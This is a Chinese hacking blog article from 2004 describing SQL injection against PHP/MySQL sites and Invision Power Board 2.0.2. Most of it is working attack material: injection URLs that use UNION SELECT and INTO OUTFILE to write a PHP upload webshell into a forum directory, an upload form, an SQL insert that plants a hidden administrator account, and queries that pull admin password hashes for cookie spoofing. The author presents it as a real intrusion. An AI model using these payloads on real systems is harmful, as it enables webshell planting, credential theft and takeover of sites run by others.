|
PHP+MySQL注入导出文件的新发现
我前段时间写了一篇《MySQL注入中导出字段内容的研究——通过注入导出WebShell》(http://www.4ngel.net/article/37.htm),是查询数据然后在生成文件的,现在我发现其实不少PHP程序,比如IPB就是把数据处理过了,再插入数据库,一般是htmlspecialchars()之后,插入数据,所以利用该文的方法,就行不通了,即使把webshell的代码插入数据库,生成出来的也是被处理过的代码。用不了。
近段时间在测试一个PHP网站的时候,由于在load_file的时候,看不到文件的内容,所以我就怀疑是不是字段的原因,因为那些全部是int类型的,还有少数是VARCHAR的,我当初以为是因为这个原因,其实后来进入以后才发现是没有FILE的权限,我不断的换URL提交(注意,写文章的时候,该网站已经修补了漏洞,现在是本地演示):
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47,104,111,109,101,47,119,119,119,47,99,111,110,102,105,103,46,112,104,112)
|
屏幕上显示了:
路径没错啊,文件也存在啊,难道没有权限?暂时放下这个,这个站点有可写的目录,是ipb2的论坛,/ipb2/uploads这个目录是要设置成可写的,上传附件才能正常使用,我就想利用插数据,导出文件的方法,因为我看了phpinfo(),magic_quotes_gpc 是关闭的,所以用into outfile没有问题,然后在本地测试了一下,发现提交的代码:
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
|
变成了:
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
|
多提交几个地方,均被做了处理,看来这样我的这个思路又不行了,突然想到刚才看路径的时候,能用char()函数输出字符串,那我能不能直接写上传代码?
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
|
这个转换为10进制是这样的:
char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)
| 我马上提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62)
|
屏幕并没有显示出我们想要的东西,我查看源代码,发现
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
|
这个代码老老实实躺在里面,如图:

之所以看不见,是因为浏览器把"<"和">"之间的东西当成HTML代码解析了,这么说是可行的!这样的好处和插数据,导出文件相比好处在于:
不用插入数据,因此不用考虑数据类型和长度,也不怕做处理。 只用知道一个数据表就可以使用into outfile了,无需知道字段。 因为之前,我猜到一个user表,我也不用去知道字段了,有字段作为查询条件只是为了防止数据库很大,导出所有数据时很慢的情况,我现在马上就提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62) from user into outfile '/home/www/ipb2/uploads/upload.php'/*
|
马上查看,如图:

注意:因为我这里说是用char()这个函数写的。所以就用这个来说明了。既然能用单引号就没必要用CHAR函数了写东西了。可以直接这样:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '<%3Fcopy(%24_FILES[MyFile][tmp_name],%24_FILES[MyFile][name]);%3F>' from user into outfile '/home/www/ipb2/uploads/upload.php'/*
|
其中:?=%3F、$=%24,注意编码,晕……我怎么觉得这篇文章有点多余啊??都写到这里了,继续吧!我只是为了告诉大家可以不用插数据了。5555,就这个意思而已也写了这么多,我发现我这么久没写文章,逻辑性变差了,没有条理了。各位将就点吧。
做个表单在本地提交:
<form ENCTYPE="multipart/form-data" ACTION="http://nothing/upload.php" METHOD="POST"> < input NAME="MyFile" TYPE="file"> < input VALUE="提交" TYPE="submit"> < /form>
|
传了一个phpspy上去,呵呵,phpmyadmin的密码知道了,马上查看了表前缀等相关信息,执行SQL语句:
insert INTO `ibf_members` VALUES ('999999', 'angel', 4, '', '4ngel@21cn.com', 1102196142, '0', 0, 'Administrator', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1102228365, 1102324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d', 0);
|
这样就添加了一个IPB2论坛的管理员用户名是"angel",密码是"thepass",呵呵。
到这里还没有说IPB2的漏洞呢,现在补充一下怎么利用,因为这个测试的站点就是用最新的IPB2.0.2,所以顺便把我测试的结果写下来。真是不好意思。我通过IPB2的注入又进入了一次。
看了看IPB2安全公告:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=[sql_injection]
|
得知qpid这个变量是没有过滤的,我先提交:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=1'
|
返回:
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT join ibf_topics t ON (t.tid=p.topic_id) where pid IN (1')
mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2 mySQL error code: Date: Monday 06th of December 2004 09:14:34 PM
|
看到了吗?执行了什么SQL语句,都反馈回来了。从这里可以看出'(单引号)已经被过滤了,转为10进制,变成'了,所以用into outfile没有办法导出文件。这里如果构造出有效的语句,也只能得到敏感信息了。
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT join ibf_topics t ON (t.tid=p.topic_id) where pid IN (1')
|
从这里看到SQL语句后。我再试着构造语句,利用union联合查询,可以得到任意数据库、任意数据表、任意字段的内容。提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,name,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*
|
可以看到用户id为1的用户名。
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*
|
可以看到用户id为1的密码MD5散列。
如果论坛太大了。找不到管理员的ID,直接用"where mgroup=4"作为查询条件可以了。我也不多说怎么构造了。大家如果不明白构造,可以先去http//www.4ngel.net看看相关文章。有了这些敏感的数据,就可以直接COOKIE欺骗了哦。IPB2.0.0-2.0.2的COOKIE欺骗的漏洞细节,可以在绿盟看到(http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7181)。
RusH security team发布的IPB2的exploit(http://www.rst.void.ru/download/r57ipb.txt),要求的参数比较多,居然还要知道SID,如下:
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_ ## ------------------------------------------------------------------------------------------------ ## [>] SERVER: 127.0.0.1 ## [>] DIR: /IPB202/ ## [>] FORUM: 2 ## [>] TOPIC: 1 ## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3 ## [>] PREFIX: ibf_ ## [>] ID:
| 如果成功利用了,就会返回,
## [ REPORT ]---------------------------------------------------------------------------------- ## MEMBER_ID: [1] NAME: [angel] PASS_HASH: [2a841e6789e0bcee72d86cd911b9405d] ## -------------------------------------------------------------------------------------------- ## Now you need edit cookie and insert new pass_hash and member_id values. ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
而且他们是CONCAT(id,char(58),name,char(58),member_login_key)这样来判断。自然没有我们直接返回这么潇洒了。不过工具也只能这样了,手工的话,我们只用知道构造就行了,仅此而已。
工具只是武器,技术才是灵魂。毛主席说过:自己动手,丰衣足食。
上篇文章:我的研究笔记节选(2004-12-5 14:20:17)
下篇文章:创建SvcHost.exe调用的服务原理与实践(2004-12-10 5:36:59)
相关文章
浅谈MYSQL跨库查询2004-9-17 13:40:47 MySql ODBC驱动的使用2004-7-31 22:11:49 ASP使用MYSQL数据库全攻略2004-7-20 14:46:44 MySQL验证绕过缓冲区溢出漏洞2004-7-9 1:11:35 谈php+mysql注射语句构造--Okphp BBS v1.3的安全分析2004-7-8 19:43:35 看紧你的3306端口,一次通过mysql的入侵2003-11-6 2:32:05 MySQL超长Password字段缓冲区溢出漏洞2003-9-21 21:08:20 Mysql 3.23.x/4.0.x remote exploit2003-9-13 22:47:02

|